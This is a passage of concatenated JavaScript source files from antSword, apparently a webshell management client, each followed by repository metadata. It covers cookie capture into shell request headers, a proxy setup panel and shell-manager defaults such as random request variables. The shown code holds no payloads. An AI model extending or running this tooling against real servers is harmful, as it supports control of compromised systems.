oriEncoding: encoding, confidence: confidence } : encoding; } } } module.exports = Decodes; ```
/content/code_sandbox/source/base/decodes.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
366
```javascript // // // 'use strict'; class CacheManager { constructor(id) { this.id = id; this.sender = antSword['ipcRenderer'].sendSync; } // get(tag) { const ret = this.sender('cache-get', { id: this.id, tag: tag }); return ret ? ret['cache'] : false; } // set(tag, cache) { return this.sender('cache-add', { id: this.id, tag: tag, cache: cache }); } // del(tag) { return this.sender('cache-del', { id: this.id, tag: tag }); } // clear() { return this.sender('cache-clear', { id: this.id }); } } module.exports = CacheManager; ```
/content/code_sandbox/source/base/cachemanager.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
190
```javascript // // // class Menubar { constructor() { this.events = {}; // antSword['ipcRenderer'].send('menubar', antSword['language']['menubar']); // /* antSword['menubar'].reg('command', () => {}); */ antSword['ipcRenderer'].on('menubar', (event, argv) => { let cmd = ''; let arg = ''; if (argv instanceof Array && argv.length === 2) { cmd = argv[0]; arg = argv[1]; } else { cmd = argv; } switch (cmd) { case 'tabbar-next': antSword['tabbar'].goToNextTab(); break; case 'tabbar-prev': antSword['tabbar'].goToPrevTab(); break; case 'tabbar-close': const tab = antSword['tabbar'].getActiveTab(); if (tab === 'tab_shellmanager') { return }; antSword['tabbar'] .tabs(tab) .close(); break; default: // let caller = this.events[cmd]; if (caller instanceof Function) { caller() }; } }); } reg(name, event) { this['events'][name] = event; } run(name) { this['events'][name](); } } module.exports = Menubar; ```
/content/code_sandbox/source/base/menubar.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
320
```javascript const CM = { /** * Cookie * @type {object} */ cookies: antSword.remote.session.defaultSession.cookies, /** * Cookie * @param {Object} opt = {} {url, name, domain, path, secure, session} * @docLink path_to_url#cookiesgetfilter-callback * @return {Promise} [description] */ get: (opt = {}) => { return new Promise((res, rej) => { CM .cookies .get(opt, (err, _cookies) => { if (err) { return rej(err) } return res(_cookies); }) }) }, /** * Cookie * @param {object} opt = {} * @return {[type]} [description] */ getStr: (opt = {}) => { return new Promise((res, rej) => { CM .cookies .get(opt, (err, _cookies) => { if (err) { return rej(err) } let _cs = []; _cookies.map((_) => { _cs.push(_['name'] + '=' + _['value']) }); return res(_cs.join('; ')); }) }) } } module.exports = CM; ```
/content/code_sandbox/source/modules/viewsite/cookiemgr.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
291
```javascript /** * * 2016/07/01 */ const CookieMgr = require('./cookiemgr'); const LANG = antSword.language['viewsite']; const LANG_T = antSword.language['toastr']; class ViewSite { constructor(opts) { const hash = String(Math.random()).substr(2, 10); // UI::tabbar const tabbar = antSword['tabbar']; tabbar.addTab(`tab_viewsite_${hash}`, `<i class="fa fa-chrome"></i> ${opts['ip']}`, null, null, true, true); tabbar.attachEvent('onTabClick', (id, lid) => { if (id !== `tab_viewsite_${hash}`) { return }; }); this.opts = opts; this.cell = tabbar.cells(`tab_viewsite_${hash}`); this.useproxy = antSword.aproxymode !== "noproxy"; // this.toolbar = this._initToolbar(); this.grid = this._initGrid(); // Cookie this._refreshCookie(); const inter = setInterval(() => { if (this.grid.clearAll instanceof Function) { this._refreshCookie(); } else { clearInterval(inter); } }, 1000); // this._loadURL(opts.url); } /** * * @return {[type]} [description] */ _initToolbar() { const toolbar = this .cell .attachToolbar(); toolbar.loadStruct([{ id: 'url', width: 400, type: 'buttonInput', value: antSword.noxss(this.opts.url) || 'loading..' }, { type: 'separator' }, { id: 'useproxy', type: 'buttonTwoState', icon: 'paper-plane', text: LANG['toolbar'].useproxy(this.useproxy), pressed: this.useproxy, disabled: antSword.aproxymode === "noproxy" }, { type: 'separator' }, { id: 'view', type: 'button', icon: 'chrome', text: LANG['toolbar'].view }, { type: 'separator' }, { id: 'save', type: 'button', icon: 'save', text: LANG['toolbar'].save }]); toolbar.attachEvent('onStateChange', (id, state) => { switch (id) { case 'useproxy': this.useproxy = state; toolbar.setItemText('useproxy', `<i class="fa fa-paper-plane"></i> ${LANG['toolbar'].useproxy(this.useproxy)}`); break; } }); toolbar.attachEvent('onClick', (id) => { switch (id) { case 'save': this._saveCookie(); break; case 'view': let url = toolbar .getInput('url') .value; this._loadURL(url); } }); toolbar.attachEvent('onEnter', (id, value) => { switch (id) { case 'url': let url = toolbar .getInput('url') .value; this._loadURL(url); break; } }); return toolbar; } /** * grid * @return {[type]} [description] */ _initGrid() { const grid = this .cell .attachGrid(); // grid grid.setHeader('Name,Value,Domain,Path,Expires / Max-Age,Size,HTTP,Secure'); grid.setColTypes("ro,ro,ro,ro,ro,ro,ro,ro"); grid.setColSorting('str,str,str,str,str,str,str,str'); grid.setInitWidths("120,*,120,50,150,50,50,60"); grid.setColAlign("left,left,left,left,left,right,center,left"); grid.enableMultiselect(true); grid.init(); return grid; } /** * Cookie * @return {[type]} [description] */ _refreshCookie() { CookieMgr .get({ url: this.opts['url'] }) .then((cookie) => { let data = []; cookie.map((c, i) => { data.push({ id: i + 1, data: [ antSword.noxss(c.name), antSword.noxss(c.value), antSword.noxss(c.domain), antSword.noxss(c.path), c.session ? 'Session' : new Date(c.expirationDate).toUTCString(), c.name.length + c.value.length, c.httpOnly ? 'httpOnly' : '', c.secure ? 'Secure' : '' ] }); }); // UI this .grid .clearAll(); this .grid .parse({ 'rows': data }, 'json'); }) } /** * Cookie * @return {[type]} [description] */ _saveCookie() { CookieMgr .getStr({ url: this.opts.url }) .then((cookie) => { // 1. const oldHttpConf = (antSword.ipcRenderer.sendSync('shell-findOne', this.opts._id).httpConf || {}); // 2. (cookie) const httpConf = Object.assign({}, oldHttpConf, { headers: Object.assign({}, oldHttpConf.headers || {}, { Cookie: cookie }) }) // 3. const ret = antSword .ipcRenderer .sendSync('shell-updateHttpConf', { _id: this.opts._id, conf: httpConf }); if (ret === 1) { toastr.success(LANG['saveSuccess'], LANG_T['success']); } else { toastr.error(LANG['saveFailed'](ret), LANG_T['error']); } }) } /** * * @param {[type]} url [description] * @return {[type]} [description] */ _loadURL(url) { let win = new antSword['remote'].BrowserWindow({ width: 930, height: 666, minWidth: 888, minHeight: 555, show: false, autoHideMenuBar: true, webPreferences: { sandbox: true, contextIsolation: true, allowpopups: false, allowRunningInsecureContent: false, nodeIntegration: false }, title: url }); win.on('close', () => { win = null; }); let ses = win.webContents.session; let proxyuri = ""; if (this.useproxy && antSword.aproxymode != "noproxy") { proxyuri = antSword.aproxyuri; } ses.setProxy({ proxyRules: proxyuri }, () => { win.loadURL(url); win.show(); win.openDevTools(); }); } } module.exports = ViewSite; ```
/content/code_sandbox/source/modules/viewsite/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,564
```javascript const RANDOMWORDS = [ "abbreviation", "abstract", "abstraction", "access", "accumulator", "activate", "adapter", "address", "algebraic", "algorithm", "alias", "allocate", "alternative", "amortized", "anaphoric", "annotation", "anonymous", "antecedent", "append", "application", "applicative", "argument", "arithmetic", "array", "artificial", "assemble", "assembly", "assignment", "associated", "association", "atom", "atomic", "attribute", "augmented", "automatic", "automatically", "autometa", "auxiliary", "backquote", "backtrace", "backward", "bandwidth", "base", "best", "Bezier", "bignum", "binary", "binding", "bit", "black", "block", "Blub", "body", "boilerplate", "bookkeeping", "boolean", "border", "bottom_up", "bound", "bounds", "box", "brace", "bracket", "branch", "breadth_first", "breakpoint", "brevity", "buffer", "bug", "building", "built_in", "byte", "bytecode", "cache", "call", "callback", "CamelCase", "candidate", "capture", "case", "character", "checksum", "child", "choke", "chunk", "circular", "clarity", "class", "client", "clipboard", "clone", "closed", "closure", "clutter", "code", "collection", "column", "column_major", "comma", "command_line", "Common", "compatible", "compilation", "compile", "compiled", "compiler", "complex", "complexity", "compliment", "component", "composability", "composition", "compound", "compression", "computation", "computer", "concatenation", "concept", "concrete", "concurrency", "concurrent", "conditional", "configuration", "connection", "cons", "consequent", "consistent", "constant", "constraint", "container", "content_based", "context", "continuation", "continuous", "control", "cooperative", "copy", "corollary", "coroutine", "corruption", "crash", "create", "crystallize", "curly", "curried", "currying", "cursor", "curvy", "cycle", "dangling", "data", "database", "data_driven", "datagram", "dead", "debug", "debugger", "debugging", "declaration", "declarative", "declarativeness", "declaring", "deconstruction", "deduction", "default", "Defense", "defer", "deficiency", "define", "definition", "delegate", "delegation", "dellocate", "demarshal", "deprecated", "depth_first", "derived", "design", "designator", "destructive", "destructuring", "device", "dimensions", "directive", "directory", "disk", "dispatch", "distributed", "DLL", "document", "dotted", "dotted_pair", "duplicate", "dynamic", "effect", "efficiency", "efficient", "elaborate", "elucidating", "embedded", "emulate", "encapsulation", "enum", "enumeration", "enumrators", "environment", "equal", "equality", "equation", "equivalence", "error", "error_checking", "escape", "escaped", "evaluate", "evaluation", "event", "exception", "exit", "expendable", "explicit", "exploratory", "export", "expression", "expressive", "extensibility", "extent", "external", "extreme", "factorial", "family", "feasible", "feature", "field", "file", "fill", "fineo_grained", "firmware", "first_class", "fixed_point", "fixnum", "flag", "flash", "flexibility", "floating_point", "flush", "fold", "font", "force", "form", "formal", "forward", "fractal", "fractions", "framework", "freeware", "function", "functional", "functionality", "game", "garbage", "generalized", "generate", "generator", "generic", "genrative", "global", "glue", "goto", "graphical", "greatest", "hack", "hacker", "handle", "hard", "hardware", "hard_wire", "hash", "header", "heap", "helper", "heuristic", "higher_order", "high_order", "hyperlink", "HyperText", "identical", "identifier", "identity", "ill", "illusion", "imperative", "implement", "implementation", "implicit", "import", "incremental", "indent", "indentation", "indented", "indention", "infer", "infinite", "infix", "information", "inheritance", "initialization", "initialize", "inline", "inner", "input", "instances", "instantiate", "instructive", "instrument", "integer", "integrate", "interactive", "interacts", "interface", "intermediate", "internal", "internet", "interpolation", "interpret", "interpreter", "inter_process", "interrupt", "intersection", "invariants", "invoke", "item", "iterate", "iteration", "iterative", "iterator", "jagged", "job", "judicious", "kernel", "keyword", "keywords", "kludge", "lambda", "Language", "larval", "laser", "latitude", "layout", "lazy", "legacy", "leverage", "lexical", "library", "lifetime", "linear", "link", "linker", "list", "literal", "load", "loader", "local", "locality", "loop", "lvalue", "machine", "macro", "mailing", "mainframes", "maintain", "manifest", "manipulator", "mapping", "marshal", "math", "member", "memorizing", "memory", "menu", "message", "message_passing", "meta_", "metacircular", "meta_programming", "method", "micro", "middleware", "migration", "minimal", "mirror", "mismatch", "model", "modem", "modifier", "modularity", "module", "monad", "monkey", "monomorphic", "mouse", "multiple", "multi_task", "mutable", "mutex", "namespace", "native", "natural", "nested", "network", "newline", "nondeclarative", "nondestructive", "non_deterministic", "non_strict", "number", "object", "object_oriented", "on", "online", "open", "operand", "operating", "operation", "operator", "optimization", "option", "optional", "ordinary", "orthogonality", "overflow", "overhead", "overload", "override", "package", "pair", "palindrome", "paradigm", "parallel", "param", "parameter", "paren_matching", "parent", "parentheses", "parse", "parser", "partial", "particular", "pass", "path", "pattern", "perform", "performance", "performance_critical", "persistence", "phrenology", "physical", "pipe", "pixel", "placeholder", "planning", "platform", "pointer", "poll", "polymorphic", "polymorphism", "polynomial", "pool", "port", "portable", "portal", "positional", "postfix", "precedence", "preceding", "predicate", "preemptive", "premature", "preprocessor", "prescribe", "prime", "primitive", "principal", "print", "printed", "printer", "priority", "procedure", "procedurual", "process", "productivity", "profile", "profiler", "programmer", "programming", "project", "prompt", "proper", "property", "protocol", "prototype", "pseudo", "purely", "pushdown", "qualified", "qualifier", "quality", "query", "queue", "quote", "quoted", "race", "radian", "raise", "random", "range", "rank", "rapid", "rational", "raw", "read", "read_evaluate_print", "read_macro", "record", "recursion", "recursive", "Reduced", "Redundant", "refactor", "refer", "reference", "referential", "refine", "reflection", "register", "registry", "regular", "remote", "represent", "request", "resolution", "resolve", "rest", "return", "reuse", "right", "robust", "robustness", "routine", "routing", "row_major", "run_length", "runtime", "run_time", "rvalue", "save", "scaffold", "scalar", "scan", "schedule", "scheduler", "scope", "SCREAMING_SNAKE_CASE", "screen", "scripting", "search", "Secure", "segment", "semantics", "semaphore", "semicolon", "sequence", "sequential", "serial", "serialization", "series", "server", "S_expression", "shadowing", "sharp", "sharp_quote", "shortest", "SICP", "side", "signature", "simple", "simulate", "Single", "single_segment", "sketch", "slash", "slot", "smart", "snake_case", "snapshot", "socket", "software", "solution", "source", "space", "spaghetti", "spam", "spec", "special", "specialization", "specialize", "specialized", "specification", "splitter", "sprite", "square", "squash", "stack", "stakeholder", "standard", "state", "statement", "static", "status", "store", "stream", "strict", "string", "strong", "structural", "structured", "subroutine", "subset", "substitution", "subtype", "superclass", "superfluous", "supertype", "support", "suspend", "swapping", "symbol", "symbolic", "syntax", "system", "table", "tag", "tail_recursion", "tail_recursive", "TAOCP", "target", "taxable", "taxonomy", "template", "temporary", "testing", "text", "thread", "three_valued", "throw", "throwaway", "timestamp", "token", "top_down", "top_level", "trace", "trailing", "transaction", "transition", "transparent", "traverse", "tree", "trigger", "tuple", "Turing", "typable", "type", "typing", "unary", "underflow", "unification", "Uniform", "union", "universally", "unqualfied", "unwinding", "uptime", "user", "utilities", "validate", "validator", "value", "vaporware", "variable", "variadic", "variant", "vector", "venture", "viable", "video", "view", "virtual", "volatile", "vowel", "warning", "web", "weight", "well", "wildcard", "window", "word", "wrapper" ]; module.exports = RANDOMWORDS; ```
/content/code_sandbox/source/base/words.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
3,175
```javascript /** * */ const LANG = antSword['language']['settings']['language']; const LANG_T = antSword['language']['toastr']; class Language { constructor(sidebar) { sidebar.addItem({ id: 'language', text: `<i class="fa fa-language"></i> ${LANG['title']}` }); const cell = sidebar.cells('language'); // const toolbar = cell.attachToolbar(); toolbar.loadStruct([{ id: 'save', type: 'button', text: LANG['toolbar']['save'], icon: 'save' }, { type: 'separator' }]); // const _language = antSword['storage']('language', false, 'en'); const form = cell.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 100, inputWidth: 150 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['label'], readonly: true, name: 'language', options: (() => { let _ = []; for (let l in antSword['language']['__languages__']) { _.push({ text: antSword['language']['__languages__'][l], value: l, selected: _language === l }); } return _; })() }] }], true); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'save': const language = form.getValues()['language']; // localStorage.setItem('language', language); toastr.success(LANG['success'], LANG_T['success']); // layer.confirm(LANG['confirm']['content'], { icon: 2, shift: 6, title: LANG['confirm']['title'] }, (_) => { location.reload(); }); break; } }); } } module.exports = Language; ```
/content/code_sandbox/source/modules/settings/language.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
446
```javascript /** * :: */ const LANG = antSword['language']['settings']['display']; const LANG_T = antSword['language']['toastr']; class Display { constructor(sidebar) { sidebar.addItem({ id: 'display', text: `<i class="fa fa-television"></i> ${LANG['title']}` }); const cell = sidebar.cells('display'); const display_shellmanager_hiddencolumns = localStorage.hasOwnProperty('display_shellmanager_hiddencolumns') ? JSON.parse(localStorage.display_shellmanager_hiddencolumns) : []; const toolbar = cell.attachToolbar(); toolbar.loadStruct([{ id: 'save', type: 'button', text: LANG['toolbar']['save'], icon: 'save' }]); // const form = cell.attachForm([{ type: 'block', name: 'shellmanager', list: [{ type: "label", label: LANG['form']['shellmanager']['title'] }] }]); const LANG_HC = LANG['form']['shellmanager']['hiddencolumns']; // form.addItem('shellmanager', { type: "fieldset", label: LANG_HC['title'], list: [{ type: "block", list: [{ type: "checkbox", label: LANG_HC['url'], name: 'hidden_columns[0]', checked: display_shellmanager_hiddencolumns.indexOf(0) != -1, position: "label-right", value: 1, disabled: true }, { type: 'newcolumn', offset: 20 }, { type: "checkbox", label: LANG_HC['ip'], name: 'hidden_columns[1]', checked: display_shellmanager_hiddencolumns.indexOf(1) != -1, position: "label-right", value: 2 }, { type: 'newcolumn', offset: 20 }, { type: "checkbox", label: LANG_HC['addr'], name: 'hidden_columns[2]', checked: display_shellmanager_hiddencolumns.indexOf(2) != -1, position: "label-right", value: 3 }, { type: 'newcolumn', offset: 20 }, { type: "checkbox", label: LANG_HC['note'], name: 'hidden_columns[3]', checked: display_shellmanager_hiddencolumns.indexOf(3) != -1, position: "label-right", value: 4 }, { type: 'newcolumn', offset: 20 }, { type: "checkbox", label: LANG_HC['ctime'], name: 'hidden_columns[4]', checked: display_shellmanager_hiddencolumns.indexOf(4) != -1, position: "label-right", value: 5 }, { type: 'newcolumn', offset: 20 }, { type: "checkbox", label: LANG_HC['utime'], name: 'hidden_columns[5]', checked: display_shellmanager_hiddencolumns.indexOf(5) != -1, position: "label-right", value: 6 }] }] }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'save': var _formvals = form.getValues(); var _display_shellmanager_hiddencolumns = []; for (var i = 0; i < 6; i++) { var data = _formvals['hidden_columns[' + i + ']']; if (data) { _display_shellmanager_hiddencolumns.push(data - 1); } } localStorage.setItem('display_shellmanager_hiddencolumns', JSON.stringify(_display_shellmanager_hiddencolumns)); toastr.success(LANG['success'], LANG_T['success']); // layer.confirm(LANG['confirm']['content'], { icon: 2, shift: 6, title: LANG['confirm']['title'] }, (_) => { location.reload(); }); break; } }); } } module.exports = Display; ```
/content/code_sandbox/source/modules/settings/display.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
916
```javascript // // // const LANG = antSword['language']['settings']['aproxy']; const LANG_T = antSword['language']['toastr']; class AProxy { constructor(sidebar) { sidebar.addItem({ id: 'aproxy', text: `<i class="fa fa-paper-plane"></i> ${LANG['title']}` }); const cell = sidebar.cells('aproxy'); // const aproxymode = localStorage.getItem('aproxymode') || 'noproxy'; const aproxyprotocol = localStorage.getItem('aproxyprotocol') || 'http'; const aproxyserver = localStorage.getItem('aproxyserver'); const aproxyport = localStorage.getItem('aproxyport'); const aproxyusername = localStorage.getItem('aproxyusername'); const aproxypassword = localStorage.getItem('aproxypassword'); // const toolbar = cell.attachToolbar(); toolbar.loadStruct([{ id: 'save', type: 'button', text: LANG['toolbar']['save'], icon: 'save' }, { type: 'separator' }, { id: 'test', name: 'test', type: 'button', text: LANG['toolbar']['test'], icon: 'spinner', disabled: aproxymode === 'noproxy' }]); // const form = cell.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 150, inputWidth: 200 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'label', label: LANG['form']['label'] }, { type: 'radio', position: 'label-right', label: LANG['form']['mode']['noproxy'], name: 'aproxymode', value: 'noproxy', checked: aproxymode === 'noproxy' }, { type: 'radio', position: 'label-right', label: LANG['form']['mode']['manualproxy'], name: 'aproxymode', value: 'manualproxy', checked: aproxymode === 'manualproxy', list: [{ type: 'combo', label: LANG['form']['proxy']['protocol'], readonly: true, name: 'protocol', options: [{ text: 'HTTP', value: 'http', selected: aproxyprotocol === 'http' }, { text: 'HTTPS', value: 'https', selected: aproxyprotocol === 'https' }, { text: 'SOCKS5', value: 'socks', selected: aproxyprotocol === 'socks' }, { text: 'SOCKS4', value: 'socks4', selected: aproxyprotocol === 'socks4' }] }, { type: 'input', label: LANG['form']['proxy']['server'], name: 'server', required: true, validate: "NotEmpty", value: aproxyserver }, { type: 'input', label: LANG['form']['proxy']['port'], name: 'port', required: true, validate: "NotEmpty,ValidInteger", value: aproxyport }, { type: 'input', label: LANG['form']['proxy']['username'], name: 'username', value: aproxyusername }, { type: 'password', label: LANG['form']['proxy']['password'], name: 'password', value: aproxypassword }] }] }], true); form.enableLiveValidation(true); form.attachEvent("onChange", function(name, value, is_checked) { if (name == "aproxymode") { if (value == "manualproxy") { toolbar.enableItem('test'); } else { toolbar.disableItem('test'); } } }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'save': if (form.validate()) { var formvals = form.getValues(); const aproxymode = formvals['aproxymode']; // localStorage.setItem('aproxymode', aproxymode); localStorage.setItem('aproxyprotocol', formvals['protocol']); localStorage.setItem('aproxyserver', formvals['server'].replace(/.+:\/\//, '').replace(/:.+/, '')); localStorage.setItem('aproxyport', formvals['port']); localStorage.setItem('aproxyusername', formvals['username']); localStorage.setItem('aproxypassword', formvals['password']); let aproxyauth = (!formvals['username'] || !formvals['password']) ? '' : `${formvals['username']}:${formvals['password']}`; let aproxyuri = `${formvals['protocol']}:\/\/${aproxyauth}${aproxyauth === '' ? '' : '@'}${formvals['server']}:${formvals['port']}`; antSword['ipcRenderer'].send('aproxy', { aproxymode: formvals['aproxymode'], aproxyuri: aproxyuri, aproxyprotocol: formvals['protocol'], aproxyserver: formvals['server'], aproxyport: formvals['port'], aproxyusername: formvals['username'], aproxypassword: formvals['password'], }); toastr.success(LANG['success'], LANG_T['success']); // // layer.confirm(LANG['confirm']['content'], { // icon: 2, // shift: 6, // title: LANG['confirm']['title'] // }, (_) => { // location.reload(); // }); } else { toastr.error(LANG['error'], LANG_T['error']); } break; case 'test': if (form.validate()) { layer .prompt({ title: LANG['prompt']['title'], value: 'path_to_url formType: 0 }, function(testurl, index) { layer.close(index); var loadindex = layer.load(2, { time: 6 * 1000 }); var _formvals = form.getValues(); var _server = _formvals['server'] .replace(/.+:\/\//, '') .replace(/:.+/, ''); var _aproxyauth = ""; if (_formvals['username'] == "" || _formvals['password'] == "" || _formvals['username'] == null || _formvals['password'] == null) { _aproxyauth = ""; } else { _aproxyauth = _formvals['username'] + ":" + _formvals['password']; } var _aproxyuri = _formvals['protocol'] + '://' + _aproxyauth + '@' + _server + ':' + _formvals['port']; var hash = (String(+new Date) + String(Math.random())) .substr(10, 10) .replace('.', '_'); antSword['ipcRenderer'].on(`aproxytest-error-${hash}`, (event, err) => { layer.close(loadindex); toastr.error(LANG['prompt']['error'] + "\n" + err['code'], LANG_T['error']); }).on(`aproxytest-success-${hash}`, (event, ret) => { layer.close(loadindex); toastr.success(LANG['prompt']['success'], LANG_T['success']); }).send('aproxytest', { hash: hash, url: testurl || 'path_to_url aproxyuri: _aproxyuri }); }); } break; } }); } } module.exports = AProxy; ```
/content/code_sandbox/source/modules/settings/aproxy.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,686
```javascript // // // // import About from './about'; import Update from './update'; import Language // from './language'; import AProxy from './aproxy'; const About = require('./about'); // const Update = require('./update'); const Language = require('./language'); const AProxy = require('./aproxy'); const Display = require('./display'); const Encoders = require('./encoders'); const ADefault = require('./adefault'); class Settings { constructor() { antSword['menubar'].reg('settings', this.open.bind(this)); [ 'about', 'update', 'language', 'aproxy', 'display', 'encoders' ].map((_) => { antSword['menubar'].reg(`settings-${_}`, this.setActive.bind(this, _)); }); return this; } open() { const tabbar = antSword['tabbar']; // if (tabbar.tabs('tab_about')) { return tabbar .tabs('tab_about') .setActive(); }; tabbar.addTab('tab_about', '<i class="fa fa-cog"></i>', null, null, true, true); const cell = tabbar.tabs('tab_about'); const sidebar = cell.attachSidebar({ template: 'text', width: 200 }); this.about = new About(sidebar); this.language = new Language(sidebar); // this.update = new Update(sidebar); this.aproxy = new AProxy(sidebar); this.display = new Display(sidebar); // Encoders this.encoders = new Encoders(sidebar); this.adefault = new ADefault(sidebar); this.cell = cell; this.sidebar = sidebar; } // @ setActive(id) { this.open(); this .sidebar .items(id) .setActive(); } } module.exports = Settings; ```
/content/code_sandbox/source/modules/settings/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
416
```javascript /** * */ const LANG = antSword['language']['settings']['update']; const LANG_T = antSword['language']['toastr']; class Update { constructor(sidebar) { sidebar.addItem({ id: 'update', text: `<i class="fa fa-cloud-download"></i> ${LANG['title']}` }); const cell = sidebar.cells('update'); // toolbar const toolbar = cell.attachToolbar(); toolbar.loadStruct([{ id: 'check', type: 'button', // windows disabled: antSword['package']['debug'] || process.platform === 'win32', text: LANG['toolbar']['check'], icon: 'check-square-o' }, { type: 'separator' }]); // toolbar toolbar.attachEvent('onClick', (id) => { switch (id) { case 'check': this.checkUpdate(); break; } }); // cell.attachHTMLString(` ${LANG['current']}: ${antSword['package']['version']} `); this.cell = cell; } /** * * @return {None} [description] */ checkUpdate() { this .cell .progressOn(); toastr.info(LANG['check']['ing'], LANG_T['info']); // antSword['ipcRenderer'].once('update-check', (event, ret) => { this .cell .progressOff(); let info = ret['retVal']; // if (!ret['hasUpdate']) { return typeof info === 'string' ? toastr.error(LANG['check']['fail'](info), LANG_T['error']) : toastr.info(LANG['check']['none'](info['version']), LANG_T['info']); } // toastr.success(LANG['check']['found'](info['version']), LANG_T['success']); // html let sources_html = `<select id="ant-update-source">`; for (let s in info['update']['sources']) { sources_html += `<option value="${s}">${s}</option>`; } sources_html += `</select>`; // layer.open({ type: 1, shift: 2, skin: 'ant-update', btn: [LANG['prompt']['btns']['ok'], LANG['prompt']['btns']['no'] ], closeBtn: 0, title: `<i class="fa fa-cloud-download"></i> ${LANG['prompt']['title']}[v${info['version']}]`, content: ` <strong>${LANG['prompt']['changelog']}</strong> <ol> <li>${info['update']['logs'] .split('\n') .join('</li><li>')} </ol> <strong>${LANG['prompt']['sources']}</strong>${sources_html} `, yes: () => { // const download_source = $('#ant-update-source').val(); // this.updateLoading(); // antSword['ipcRenderer'].once('update-download', (event, ret) => { // console.log(ret); if (!ret['done']) { if (typeof ret['retVal'] === 'object') { switch (ret['retVal']['type']) { case 'md5': this.updateFail(LANG['prompt']['fail']['md5']); break; case 'unzip': this.updateFail(LANG['prompt']['fail']['unzip'](ret['retVal']['err'])); break; default: this.updateFail(ret['retVal']); } } else { this.updateFail(ret['retVal']); } return; } this.updateSuccess(); }).send('update-download', download_source); } }); }).send('update-check', { local_ver: antSword['package']['version'] }); } /** * * @return {[type]} [description] */ updateLoading() { // $('.layui-layer-btn').remove(); // $('.layui-layer-content').html(` <div class="pacman"> <div></div> <div></div> <div></div> <div></div> <div></div> </div> <p align="center"><strong>${LANG['message']['ing']}</strong></p> `); } /** * * @param {String} tip * @return {[type]} [description] */ updateFail(tip) { $('.layui-layer-content').html(` <div align="center" style="color: red"> <i class="fa fa-times-circle update-icon" /> <p><strong>${LANG['message']['fail'](tip)}</strong></p> </div> `); toastr.error(LANG['message']['fail'](tip), LANG_T['error']); setTimeout(layer.closeAll, 1024 * 5); } /** * * @return {None} [description] */ updateSuccess() { $('.layui-layer-content').html(` <div align="center" style="color: green"> <i class="fa fa-check-circle update-icon" /> <p><strong>${LANG['message']['success']}</strong></p> </div> `); toastr.success(LANG['message']['success'], LANG_T['success']); setTimeout(() => { antSword['ipcRenderer'].send('quit'); }, 1024 * 3); } } export default Update; ```
/content/code_sandbox/source/modules/settings/update.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,210
```javascript /** * :: */ const LANG = antSword['language']['settings']['about']; class About { constructor(sidebar) { sidebar.addItem({ id: 'about', selected: true, text: `<i class="fa fa-heart-o"></i> ${LANG['title']}` }); const cell = sidebar.cells('about'); cell.attachHTMLString(` <div align="center" class="about"> <img src="ant-static://imgs/logo.png" /> <hr/> <h2>${LANG['header']}<span> v${antSword['package']['version']}</span></h2> <p> <a href="path_to_url"><i class="fa fa-github-alt"></i> GitHub</a> / <a href="path_to_url"><i class="fa fa-book"></i> ${LANG['document']}</a> / <a href="path_to_url"><i class="fa fa-comments"></i> ${LANG['discord']}</a> / <a href="path_to_url"><i class="fa fa-bug"></i> ${LANG['securityreport']}</a> </p> <div> <img src="ant-static://imgs/qrcode.jpg" style="width:100px;"/> <p style="color: #795548;transition: all .5s linear;font-size: 14px;">${LANG['wechat']}</p> </div> </div> `); // $('.about').on('click', 'a', function (e) { e.preventDefault(); antSword['shell'].openExternal(this.href); }); } } module.exports = About; ```
/content/code_sandbox/source/modules/settings/about.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
359
```javascript /** * :: */ const LANG = antSword['language']['settings']['adefault']; const LANG_T = antSword['language']['toastr']; class ADefault { constructor(sidebar) { var self = this; sidebar.addItem({ id: 'adefault', text: `<i class="fa fa-sliders"></i> ${LANG['title']}` }); const cell = sidebar.cells('adefault'); const default_config = { filemanager: { openfileintab: false, bookmarks: {} }, database: { bookmarks: {} }, shellmanager: { headers: {}, bodys: {}, others: { "ignore-https": 0, "use-random-variable": 0, "request-timeout": '10000', "random-Prefix": '2' } }, terminal: { tsize: 1, } }; // const filemanager_settings = JSON.parse(antSword['storage']("adefault_filemanager", false, JSON.stringify(default_config.filemanager))); this.filemanager_settings = filemanager_settings; if (!this.filemanager_settings.bookmarks) { this.filemanager_settings.bookmarks = default_config.filemanager.bookmarks; } const database_settings = JSON.parse(antSword['storage']("adefault_database", false, JSON.stringify(default_config.database))); this.database_settings = database_settings; if (!this.database_settings.bookmarks) { this.database_settings.bookmarks = default_config.database.bookmarks; } const shellmanager_settings = JSON.parse(antSword['storage']("adefault_shellmanager", false, JSON.stringify(default_config.shellmanager))); this.shellmanager_settings = shellmanager_settings; if (!this.shellmanager_settings.headers) { this.shellmanager_settings.headers = default_config.shellmanager.headers; } if (!this.shellmanager_settings.bodys) { this.shellmanager_settings.bodys = default_config.shellmanager.bodys; } if (!this.shellmanager_settings.others) { this.shellmanager_settings.others = default_config.shellmanager.others; } const terminal_settings = JSON.parse(antSword['storage']("adefault_terminal", false, JSON.stringify(default_config.terminal))); this.terminal_settings = terminal_settings; const toolbar = cell.attachToolbar(); toolbar.loadStruct([{ id: 'save', type: 'button', text: LANG['toolbar']['save'], icon: 